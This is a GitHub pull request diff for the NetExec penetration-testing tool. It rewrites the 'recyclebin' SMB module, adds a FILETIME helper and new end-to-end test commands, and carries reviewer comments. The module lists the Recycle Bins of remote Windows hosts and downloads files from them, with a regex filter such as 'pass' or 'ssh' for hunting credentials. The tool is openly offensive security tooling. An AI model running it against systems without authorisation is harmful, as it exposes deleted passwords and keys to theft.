Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
13 changes: 13 additions & 0 deletions nxc/helpers/misc.py
Original file line number Diff line number Diff line change
Expand Up @@ -8,6 +8,7 @@
from ipaddress import ip_address
from nxc.logger import nxc_logger
from time import strftime, gmtime
from datetime import datetime, timedelta


def identify_target_file(target_file):
Expand Down Expand Up @@ -226,6 +227,18 @@ def convert(low, high, lockout=False):
return time


def convert_filetime_to_datetime(self, filetime):
"""Convert Windows FILETIME to a readable timestamp rounded to the closest minute."""
try:
WINDOWS_EPOCH = datetime(1601, 1, 1) # Windows FILETIME epoch

timestamp = filetime / 10_000_000 # Convert 100-ns intervals to seconds
dt = WINDOWS_EPOCH + timedelta(seconds=timestamp)
return dt.replace(microsecond=0)
except Exception:
return "Conversion Error"


def display_modules(args, modules):
for category, color in {CATEGORY.ENUMERATION: "green", CATEGORY.CREDENTIAL_DUMPING: "cyan", CATEGORY.PRIVILEGE_ESCALATION: "magenta"}.items():
# Add category filter for module listing
Expand Down
250 changes: 165 additions & 85 deletions nxc/modules/recyclebin.py
Original file line number Diff line number Diff line change
@@ -1,101 +1,181 @@
from os import makedirs
from nxc.helpers.misc import CATEGORY
from os import makedirs, remove
from nxc.helpers.misc import CATEGORY, convert_filetime_to_datetime
from nxc.paths import NXC_PATH
from os.path import join, abspath
from impacket.dcerpc.v5 import rrp
from impacket.dcerpc.v5.rrp import DCERPCSessionError
from impacket.examples.secretsdump import RemoteOperations
import struct
import re


class NXCModule:
# Module by @Defte_
# Dumps files from recycle bins
"""
Module by @Defte_ & @leDryPotato
Find (and download) files from Recycle Bins
"""

name = "recyclebin"
description = "Lists and exports users' recycle bins"
description = "Lists (and downloads) files in the Recycle Bin."
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
false_positive = (".", "..", "desktop.ini", "S-1-5-18")
Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Any reason why Default/Public etc are not included in the list? Do they not have a folder there?


def options(self, context, module_options):
"""No options available"""
"""
DOWNLOAD Download the files in the Recycle Bin (default: False)
Example: -o DOWNLOAD=True
FILTER Filter what files you want to download (default: all) based on their original filename (supports regular expressions)
Examples: -o FILTER=pass
-o FILTER=ssh
"""
self.download = bool(module_options.get("DOWNLOAD", False))
self.filter = module_options.get("FILTER", "all")

def on_admin_login(self, context, connection):
false_positive_users = [".", "..", "desktop.ini", "Public", "Default", "Default User", "All Users", ".NET v4.5", ".NET v4.5 Classic"]
found = 0
try:
remote_ops = RemoteOperations(connection.conn, connection.kerberos)
remote_ops.enableRegistry()
metadata_map = {}
size_map = {}

for sid_directory in connection.conn.listPath("C$", "$Recycle.Bin\\*"):
paths = connection.spider("C$", folder="$Recycle.Bin", regex=[r"(.*)"], silent=True)
filtered_paths = [path for path in paths if not path.endswith(self.false_positive)]
Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Maybe we should do the filtering before the spidering, otherwise we waste unnecessary runtime (potentially a lot if these have large dirs)

if not filtered_paths:
context.log.display("No files found in the Recycle Bin.")
Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think that should be .info() so it doesn't spam too much when we scan large ranges

return

remote_full_paths = [f"C$/{path}" for path in filtered_paths]

# extract the SID as the third component of the path (e.g. C$/$Recycle.Bin/SID/filename)
sid_dirs = []
for path in remote_full_paths:
sid_dir = path.split("/")[2]
if sid_dir not in sid_dirs:
sid_dirs.append(sid_dir)

# extract the full file path after the SID (e.g. filename or $Rfolder/filename) and remove empty values
remote_file_paths = ["/".join(path.split("/")[3:]) for path in remote_full_paths if "/".join(path.split("/")[3:])]

# parse the remote_files_paths and create a mapping of SID to the files that belong to that SID directory
sid_to_files = {}
for path in remote_full_paths:
sid_dir = path.split("/")[2]
if sid_dir not in sid_to_files:
sid_to_files[sid_dir] = []
sid_to_files[sid_dir].append(path)

context.log.display(f"Found {len(remote_file_paths)} files in the Recycle Bin across {len(sid_dirs)} user directories. Processing files...")

# check for each key in sid_to_files, if the value is a list with only 1 element and if that element is the same as the SID directory then we can skip processing that SID directory because it means that there are no files in that SID directory
for sid_dir, files in sid_to_files.items():
if len(files) == 1 and files[0].split("/")[2] == sid_dir:
context.log.display(f"No files found in C$\\$Recycle.Bin\\{sid_dir}. Skipping...")
else:
context.log.highlight(f"Processing directory: C$\\$Recycle.Bin\\{sid_dir} with {len(files) - 1} file(s)...")
for file in files:
context.log.debug(f"Found file: {file}")
Comment on lines +44 to +71
Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This looks overly complicated, what is that trying to achieve? Can't we just do a log statement in the primary looping logic down below?

Also, it looks to me like currently we are only looping over the last iterated sid_dir as this is set in the loop above and appended to the path in the main for loop down below. I haven't actually tested it yet, but does this indeed iterate over all sids? Maybe I am missing something here tho.


# Process files in the directory
# Files in the Recycle Bin have two types of names:
# $Recycle.Bin\S-1-5-21-4140170355-2927207985-2497279808-500\$I87021Q.txt
# Or
# $Recycle.Bin\S-1-5-21-4140170355-2927207985-2497279808-500\$R87021Q.txt
# $I files are metadata files while $R are the actual files

for remote_file_path in remote_file_paths:
remote_full_path = f"$Recycle.Bin/{sid_dir}/{remote_file_path}"

# Process Metadata files ($I) to extract original path, deletion time and size
if remote_file_path.startswith("$I"):
export_path = join(NXC_PATH, "modules", "recyclebin")
makedirs(export_path, exist_ok=True)
Comment on lines +85 to +86
Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Just do that once at the start of the module execution, otherwise this will be checked in every loop which is unnecessary and in addition is duplicate to the logic in L167-L169


local_filename = f"{connection.host}_{sid_dir}_{remote_file_path.replace('/', '_')}"
dest_path = abspath(join(export_path, local_filename))

with open(dest_path, "wb+") as f:
connection.conn.getFile("C$", remote_full_path, f.write)
f.close()
Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

You don't need to close the file, this is already done by the context manager (with open...)


with open(dest_path, "rb") as f:
data = f.read()
if len(data) >= 24:
file_size_raw, = struct.unpack("<q", data[8:16]) # original file size
deletion_time_raw, = struct.unpack("<Q", data[16:24]) # original file path
deletion_time = convert_filetime_to_datetime(self, deletion_time_raw)
original_path = data[24:].decode("utf-16", errors="ignore").strip("\x00")
match = re.search(r"([a-z]:\\.+)", original_path, re.IGNORECASE)
if match:
original_path = match.group(1)
metadata_map[remote_file_path.replace("$I", "")] = original_path
size_map[remote_file_path.replace("$I", "")] = file_size_raw
size_display = f"{file_size_raw // 1024}KB" if file_size_raw >= 1024 else f"{file_size_raw}B"
Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

We should probably move the convert_size function from nfs.py to nxc/helpers/misc, add a doc string and use it in nfs and here. See:

def convert_size(size_bytes):
if size_bytes == 0:
return "0B"
size_name = ("B", "KB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB")
i = math.floor(math.log(size_bytes, 1024))
p = math.pow(1024, i)
s = round(size_bytes / p, 1)
return f"{s}{size_name[i]}"

filename_display = f"Folder: {remote_file_path}" if len(remote_file_path) <= 8 else f"File: {remote_file_path}"
context.log.highlight(f"\t{filename_display}, Original location: {original_path}, Deletion time: {deletion_time}, Original size: {size_display}")

# close and delete the metadata file since we have already extracted the information we need from it
try:
if sid_directory.get_longname() and sid_directory.get_longname() not in false_positive_users:

# Extracts the username from the SID
reg_handle = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{sid_directory.get_longname()}")["phkResult"]
username = None
try:
_, profileimagepath = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "ProfileImagePath\x00")
# Get username and remove embedded null byte
username = profileimagepath.split("\\")[-1].rstrip("\x00")
except rrp.DCERPCSessionError as e:
context.log.debug(f"Couldn't get username from SID {e} on host {connection.host}")

# Lists for any file or directory in the recycle bin
spider_folder = f"$Recycle.Bin\\{sid_directory.get_longname()}\\"
paths = connection.spider(
"C$",
folder=spider_folder,
regex=[r"(.*)"],
silent=True
)

false_positive = (".", "..", "desktop.ini")
filtered_file_paths = [path for path in paths if not path.endswith(false_positive)]
if filtered_file_paths:
if username is not None:
context.log.highlight(f"CONTENT FOUND {sid_directory.get_longname()} ({username})")
else:
context.log.highlight(f"CONTENT FOUND {sid_directory.get_longname()}")

for path in filtered_file_paths:
# Returned path look like:
# $Recycle.Bin\S-1-5-21-4140170355-2927207985-2497279808-500\/$I87021Q.txt
# Or
# $Recycle.Bin\S-1-5-21-4140170355-2927207985-2497279808-500\/$R87021Q.txt
# $I files are metadata while $R are actual files so we split the path from the SID
# And check that the filename contains $R only to prevent downloading useless stuff

if "$R" in path.split(sid_directory.get_longname())[1] and not path.endswith(false_positive):
# Create the export path
export_path = join(NXC_PATH, "modules", "recyclebin")
makedirs(export_path, exist_ok=True)

# Formatting the destination filename
file_path = path.split("$")[-1].replace("/", "_")
filename = f"{connection.host}_{username if username else sid_directory.get_longname()}_recyclebin_{file_path}"
dest_path = abspath(join(export_path, filename))
try:
with open(dest_path, "wb+") as file:
connection.conn.getFile("C$", path, file.write)
except Exception as e:
if "STATUS_FILE_IS_A_DIRECTORY" in str(e):
context.log.debug(f"Couldn't open {dest_path} because of {e}")
else:
context.log.fail(f"Failed to write recyclebin file to {filename}: {e}")
else:
context.log.highlight(f"\t{dest_path}")
found += 1
except DCERPCSessionError as e:
if "ERROR_FILE_NOT_FOUND" in str(e):
continue
else:
context.log.fail(f"Error opening {sid_directory.get_longname()} on host {connection.host} because of {e}")
remove(dest_path)
context.log.debug(f"Deleted metadata file: {dest_path}")
except Exception:
context.log.debug(f"Could not delete metadata file: {dest_path}")
Comment on lines 112 to +116
Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

If we remove the file anyway we should probably use BytesIO, so we can skip all that creating dir, writing to disk etc. logic. See:

buf = BytesIO()
connection.conn.getFile(sysvol, path, buf.write)

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

God, that diff looks crazy due to the "removal" detected by git. This belongs only to the 4 addition lines


# Process actual files ($R)
elif remote_file_path.startswith("$R"):
# Determine if we're nested inside a $R folder
# path example (nested): "$Recycle.Bin/SID/$RABGQM6/alice-passwords.txt"
# path example (direct): "$Recycle.Bin/SID/$RR2H6QW.txt"
path_parts = remote_file_path.rstrip("/").split("/")
r_folder = next((p for p in path_parts if p.startswith("$R")), None)
is_nested = r_folder is not None and remote_file_path != r_folder

if is_nested:
# Look up the original path of the parent $R folder
r_key = r_folder.replace("$R", "")
parent_original = metadata_map.get(r_key, f"{sid_dir}\\{r_folder}")
# Append the nested filename to reconstruct the full original path
original_path = f"{parent_original}\\{remote_file_path.split('/')[-1]}"
else:
original_path = metadata_map.get(remote_file_path.replace("$R", ""), f"{sid_dir}\\{remote_file_path}")

# Get size from size_map (direct $R files) or listPath (nested files)
file_size_raw = size_map.get(remote_file_path.replace("$R", "")) if not is_nested else None

if file_size_raw is None:
try:
# Have to use listPath to get the file size since nested files don't have metadata files that we can read the size from
parent_smb = remote_full_path.rstrip("/").rsplit("/", 1)[0].replace("/", "\\")
dir_listing = connection.conn.listPath("C$", parent_smb + "\\*")
for f_obj in dir_listing:
if f_obj.get_longname() == remote_file_path.split("/")[-1]:
file_size_raw = f_obj.get_filesize()
break
except Exception as e:
context.log.debug(f"Could not get file size for {remote_file_path} via listPath: {e}")

size_display = f"{file_size_raw // 1024}KB" if file_size_raw and file_size_raw >= 1024 else f"{file_size_raw}B" if file_size_raw else "unknown"
Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

See above

filename_display = f"Folder: {remote_file_path}" if len(remote_file_path) <= 8 else f"File: {remote_file_path}"

context.log.highlight(f"\t{filename_display} ({original_path}), size: {size_display}")

# Download the file if the option is set to True
if self.download:
# Apply filter if specified
if self.filter and self.filter.lower() != "all":
match = re.search(self.filter, original_path, re.IGNORECASE)
if not match:
context.log.info(f"\tSkipping file {remote_file_path} ({original_path})")
continue
context.log.info(f"\tDownloading file {remote_file_path} from {original_path}")

local_filename = f"{connection.host}_{original_path}"
export_path = join(NXC_PATH, "modules", "recyclebin")
path = abspath(join(export_path, local_filename))
makedirs(export_path, exist_ok=True)

if (len(remote_file_path) <= 8): # if it's a folder we can't download it and we should skip it
context.log.debug(f"Skipping download of {remote_file_path} because it appears to be an empty directory.")
Comment on lines +171 to +172
Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Why is it a folder when the len is <= 8? Isn't that a check in the name of the dir/file?

continue
if found > 0:
context.log.highlight(f"Recycle bin's content downloaded to {export_path}")
except DCERPCSessionError as e:
context.log.exception(e)
context.log.fail(f"Error connecting to RemoteRegistry {e} on host {connection.host}")
finally:
remote_ops.finish()
try:
with open(path, "wb") as f:
connection.conn.getFile("C$", remote_full_path, f.write)
context.log.success(f"Recycle Bin file {remote_file_path} written to: {path}")
f.close()
Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

See above

except Exception as e:
if "STATUS_FILE_IS_A_DIRECTORY" in str(e):
context.log.debug(f"Couldn't download {dest_path} because of {e}")
3 changes: 3 additions & 0 deletions tests/e2e_commands.txt
Original file line number Diff line number Diff line change
Expand Up @@ -145,6 +145,9 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M putty
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdcman
#netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdp -o ACTION=enable
#netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdp -o ACTION=disable
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M recyclebin
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M recyclebin -o DOWNLOAD=true
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M recyclebin -o DOWNLOAD=true FILTER=pass
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M reg-query -o PATH=HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion KEY=DevicePath
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M runasppl
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M scuffy -o SERVER=127.0.0.1 NAME=test
Expand Down